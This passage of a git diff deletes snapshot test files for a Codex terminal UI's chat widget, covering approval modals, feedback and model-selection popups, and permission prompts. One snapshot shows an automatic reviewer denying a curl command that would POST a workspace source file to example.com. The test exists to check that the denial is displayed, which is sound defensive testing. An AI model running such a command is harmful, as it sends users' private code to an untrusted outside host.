terminal.backend() ---- -" " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h2.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h2.snap deleted file mode 100644 index 476b3c350..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h2.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -" " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h3.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h3.snap deleted file mode 100644 index 7db71a7f6..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h3.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_exec_and_status_layout_vt100_snapshot.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_exec_and_status_layout_vt100_snapshot.snap deleted file mode 100644 index 4ad05eb49..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_exec_and_status_layout_vt100_snapshot.snap +++ /dev/null @@ -1,44 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: term.backend().vt100().screen().contents() ---- - - - - - - - - - - - - - - - - - - - - - - - - - - - -• I’m going to search the repo for where “Change Approved” is rendered to update - that view. - -• Explored - └ Search Change Approved - Read diff_render.rs - -• Investigating rendering code (0s • esc to interrupt) - - -› Summarize recent commits - - tab to queue message 100% context left diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap deleted file mode 100644 index b03722829..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap +++ /dev/null @@ -1,53 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: term.backend().vt100().screen().contents() ---- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -• -- Indented code block (4 spaces) - SELECT * - FROM "users" - WHERE "email" LIKE '%@example.com'; - - ```sh - printf 'fenced within fenced\n' - ``` - - { - // comment allowed in jsonc - "path": "C:\\Program Files\\App", - "regex": "^foo.*(bar)?$" - } diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_tall.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_tall.snap deleted file mode 100644 index 8711bd3fe..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_tall.snap +++ /dev/null @@ -1,27 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: term.backend().vt100().screen().contents() ---- -• Working (0s • esc to interrupt) - -• Queued follow-up messages - ↳ Hello, world! 0 - ↳ Hello, world! 1 - ↳ Hello, world! 2 - ↳ Hello, world! 3 - ↳ Hello, world! 4 - ↳ Hello, world! 5 - ↳ Hello, world! 6 - ↳ Hello, world! 7 - ↳ Hello, world! 8 - ↳ Hello, world! 9 - ↳ Hello, world! 10 - ↳ Hello, world! 11 - ↳ Hello, world! 12 - ↳ Hello, world! 13 - ↳ Hello, world! 14 - ↳ Hello, world! 15 - -› Ask Codex to do anything - - gpt-5.3-codex default · 100% left · /tmp/project diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap deleted file mode 100644 index 5ebbcd706..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- - diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__disabled_slash_command_while_task_running_snapshot.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__disabled_slash_command_while_task_running_snapshot.snap deleted file mode 100644 index 9368ebf1f..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__disabled_slash_command_while_task_running_snapshot.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: blob ---- -■ '/model' is disabled while a task is in progress. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_aborted_long.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_aborted_long.snap deleted file mode 100644 index 06e15aec8..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_aborted_long.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: lines_to_single_string(&aborted_long) ---- -✗ You canceled the request to run echo - aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa... diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap deleted file mode 100644 index e87625e75..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: lines_to_single_string(&aborted_multi) ---- -✗ You canceled the request to run echo line1 ... diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_approved_short.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_approved_short.snap deleted file mode 100644 index 8f581814f..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_approved_short.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: lines_to_single_string(&decision) ---- -✔ You approved codex to run echo hello world this time diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_modal_exec.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_modal_exec.snap deleted file mode 100644 index 386099320..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_modal_exec.snap +++ /dev/null @@ -1,39 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: "format!(\"{buf:?}\")" ---- -Buffer { - area: Rect { x: 0, y: 0, width: 80, height: 13 }, - content: [ - " ", - " ", - " Would you like to run the following command? ", - " ", - " Reason: this is a test reason such as one that would be produced by the ", - " model ", - " ", - " $ echo hello world ", - " ", - "› 1. Yes, proceed (y) ", - " 2. No, and tell Codex what to do differently (esc) ", - " ", - " Press enter to confirm or esc to cancel ", - ], - styles: [ - x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 2, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: BOLD, - x: 46, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 10, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: ITALIC, - x: 73, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 2, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: ITALIC, - x: 7, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 4, y: 7, fg: Rgb(137, 180, 250), bg: Reset, underline: Reset, modifier: NONE, - x: 8, y: 7, fg: Rgb(205, 214, 244), bg: Reset, underline: Reset, modifier: NONE, - x: 20, y: 7, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 0, y: 9, fg: Cyan, bg: Reset, underline: Reset, modifier: BOLD, - x: 21, y: 9, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 48, y: 10, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - x: 51, y: 10, fg: Reset, bg: Reset, underline: Reset, modifier: NONE, - x: 2, y: 12, fg: Reset, bg: Reset, underline: Reset, modifier: DIM, - ] -} diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__experimental_features_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__experimental_features_popup.snap deleted file mode 100644 index 156aaa60d..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__experimental_features_popup.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Experimental features - Toggle experimental features. Changes are saved to config.toml. - -› [ ] Ghost snapshots Capture undo snapshots each turn. - [x] Shell tool Allow the model to run shell commands. - - Press space to select or enter to save for next conversation diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step1_start_ls.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step1_start_ls.snap deleted file mode 100644 index 6ac0894b2..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step1_start_ls.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: active_blob(&chat) ---- -• Exploring - └ List ls -la diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step2_finish_ls.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step2_finish_ls.snap deleted file mode 100644 index 5a3bc390e..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step2_finish_ls.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: active_blob(&chat) ---- -• Explored - └ List ls -la diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step3_start_cat_foo.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step3_start_cat_foo.snap deleted file mode 100644 index d248f36f4..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step3_start_cat_foo.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: active_blob(&chat) ---- -• Exploring - └ List ls -la - Read foo.txt diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step4_finish_cat_foo.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step4_finish_cat_foo.snap deleted file mode 100644 index 5288cf146..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step4_finish_cat_foo.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: active_blob(&chat) ---- -• Explored - └ List ls -la - Read foo.txt diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step5_finish_sed_range.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step5_finish_sed_range.snap deleted file mode 100644 index 5288cf146..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step5_finish_sed_range.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: active_blob(&chat) ---- -• Explored - └ List ls -la - Read foo.txt diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step6_finish_cat_bar.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step6_finish_cat_bar.snap deleted file mode 100644 index 5e0a97841..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step6_finish_cat_bar.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: active_blob(&chat) ---- -• Explored - └ List ls -la - Read foo.txt, bar.txt diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_good_result_consent_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_good_result_consent_popup.snap deleted file mode 100644 index 656eeb15b..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_good_result_consent_popup.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Upload logs? - - The following files will be sent: - • codex-logs.log - • codex-connectivity-diagnostics.txt - -› 1. Yes Share the current Codex session logs with the team for - troubleshooting. - 2. No - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_selection_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_selection_popup.snap deleted file mode 100644 index edcaae343..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_selection_popup.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - How was this? - -› 1. bug Crash, error message, hang, or broken UI/behavior. - 2. bad result Output was off-target, incorrect, incomplete, or unhelpful. - 3. good result Helpful, correct, high‑quality, or delightful result worth - celebrating. - 4. safety check Benign usage blocked due to safety checks or refusals. - 5. other Slowness, feature suggestion, UX feedback, or anything - else. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_upload_consent_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_upload_consent_popup.snap deleted file mode 100644 index 19f9b7122..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_upload_consent_popup.snap +++ /dev/null @@ -1,19 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Upload logs? - - The following files will be sent: - • codex-logs.log - • codex-connectivity-diagnostics.txt - - Connectivity diagnostics - - OPENAI_BASE_URL is set and may affect connectivity. - - OPENAI_BASE_URL = hello - -› 1. Yes Share the current Codex session logs with the team for - troubleshooting. - 2. No - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__final_reasoning_then_message_without_deltas_are_rendered.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__final_reasoning_then_message_without_deltas_are_rendered.snap deleted file mode 100644 index 7751a9246..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__final_reasoning_then_message_without_deltas_are_rendered.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Here is the result. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__forked_thread_history_line.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__forked_thread_history_line.snap deleted file mode 100644 index 60e47cbe0..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__forked_thread_history_line.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Thread forked from named-thread (e9f18a88-8081-4e51-9d4e-8af5cde2d8dd) diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__forked_thread_history_line_without_name.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__forked_thread_history_line_without_name.snap deleted file mode 100644 index 67fd624b1..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__forked_thread_history_line_without_name.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Thread forked from 019c2d47-4935-7423-a190-05691f566092 diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__full_access_confirmation_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__full_access_confirmation_popup.snap deleted file mode 100644 index f6d99d39a..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__full_access_confirmation_popup.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Enable full access? - When Codex runs with full access, it can edit any file on your computer and - run commands with network, without your approval. Exercise caution when - enabling full access. This significantly increases the risk of data loss, - leaks, or unexpected behavior. - -› 1. Yes, continue anyway Apply full access for this session - 2. Yes, and don't ask again Enable full access and remember this choice - 3. Cancel Go back without enabling full access - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap deleted file mode 100644 index ff0c97f5f..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap +++ /dev/null @@ -1,17 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: term.backend().vt100().screen().contents() ---- -⚠ Automatic approval review denied (risk: high): The planned action would - transmit the full contents of a workspace source file (`core/src/codex.rs`) to - `https://example.com`, which is an external and untrusted endpoint. - -✗ Request denied for codex to run curl -sS -i -X POST --data-binary @core/src/c - odex.rs https://example.com - -• Working (0s • esc to interrupt) - - -› Ask Codex to do anything - - gpt-5.3-codex default · 100% left · /tmp/project diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__image_generation_call_history_snapshot.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__image_generation_call_history_snapshot.snap deleted file mode 100644 index a2e635933..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__image_generation_call_history_snapshot.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Generated Image: - └ A tiny blue square - └ Saved to: file:///tmp/ig-1.png diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupt_exec_marks_failed.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupt_exec_marks_failed.snap deleted file mode 100644 index 92fa8a392..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupt_exec_marks_failed.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: exec_blob ---- -• Ran sleep 1 - └ (no output) diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupted_turn_error_message.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupted_turn_error_message.snap deleted file mode 100644 index 2c924df1e..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupted_turn_error_message.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: last ---- -■ Conversation interrupted - tell the model what to do differently. Something went wrong? Hit `/feedback` to report the issue. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupted_turn_pending_steers_message.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupted_turn_pending_steers_message.snap deleted file mode 100644 index 90205807b..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupted_turn_pending_steers_message.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: info ---- -• Model interrupted to submit steer instructions. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__local_image_attachment_history_snapshot.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__local_image_attachment_history_snapshot.snap deleted file mode 100644 index 2fc0b7978..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__local_image_attachment_history_snapshot.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: combined ---- -• Viewed Image - └ example.png diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__mcp_startup_header_booting.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__mcp_startup_header_booting.snap deleted file mode 100644 index 4cba0dfd8..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__mcp_startup_header_booting.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: terminal.backend() ---- -" " -"• Booting MCP server: alpha (0s • esc to interrupt) " -" " -" " -"› Ask Codex to do anything " -" " -" gpt-5.3-codex default · 100% left · /tmp/project " diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_picker_filters_hidden_models.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_picker_filters_hidden_models.snap deleted file mode 100644 index f340fdf55..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_picker_filters_hidden_models.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Select Model and Effort - Access legacy models by running codex -m or in your config.toml - -› 1. test-visible-model (current) test-visible-model description - - Press enter to select reasoning effort, or esc to dismiss. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_reasoning_selection_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_reasoning_selection_popup.snap deleted file mode 100644 index eda6b7891..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_reasoning_selection_popup.snap +++ /dev/null @@ -1,12 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Select Reasoning Level for gpt-5.1-codex-max - - 1. Low Fast responses with lighter reasoning - 2. Medium (default) Balances speed and reasoning depth for everyday tasks -› 3. High (current) Greater reasoning depth for complex problems - 4. Extra high Extra high reasoning depth for complex problems - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_reasoning_selection_popup_extra_high_warning.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_reasoning_selection_popup_extra_high_warning.snap deleted file mode 100644 index 8f04e2259..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_reasoning_selection_popup_extra_high_warning.snap +++ /dev/null @@ -1,15 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Select Reasoning Level for gpt-5.1-codex-max - - 1. Low Fast responses with lighter reasoning - 2. Medium (default) Balances speed and reasoning depth for everyday - tasks - 3. High Greater reasoning depth for complex problems -› 4. Extra high (current) Extra high reasoning depth for complex problems - ⚠ Extra high reasoning effort can quickly consume - Plus plan rate limits. - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_selection_popup.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_selection_popup.snap deleted file mode 100644 index cf9abb40e..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_selection_popup.snap +++ /dev/null @@ -1,18 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Select Model and Effort - Access legacy models by running codex -m or in your config.toml - -› 1. gpt-5.3-codex (default) Latest frontier agentic coding model. - 2. gpt-5.4 Latest frontier agentic coding model. - 3. gpt-5.2-codex Frontier agentic coding model. - 4. gpt-5.1-codex-max Codex-optimized flagship for deep and fast - reasoning. - 5. gpt-5.2 Latest frontier model with improvements across - knowledge, reasoning and coding - 6. gpt-5.1-codex-mini Optimized for codex. Cheaper, faster, but less - capable. - - Press enter to select reasoning effort, or esc to dismiss. diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__multi_agent_enable_prompt.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__multi_agent_enable_prompt.snap deleted file mode 100644 index 297f489bb..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__multi_agent_enable_prompt.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: popup ---- - Enable subagents? - Subagents are currently disabled in your config. - -› 1. Yes, enable Save the setting now. You will need a new session to use it. - 2. Not now Keep subagents disabled. - - Press enter to confirm or esc to go back diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_after_mode_switch.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_after_mode_switch.snap deleted file mode 100644 index 2eb5f1484..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_after_mode_switch.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: "lines_to_single_string(&cells[0])" ---- -• Permissions updated to Full Access diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_full_access_to_default.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_full_access_to_default.snap deleted file mode 100644 index 6293aa1b4..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_full_access_to_default.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: "lines_to_single_string(&cells[0])" ---- -• Permissions updated to Default diff --git a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_full_access_to_default@windows.snap b/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_full_access_to_default@windows.snap deleted file mode 100644 index 161133b3c..000000000 --- a/codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_full_access_to_default@windows.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/chatwidget/tests.rs -expression: "lines_to_single_string(&cells[0])" ---- -• Permissions updated to Default (non-admin sandbox) diff --git 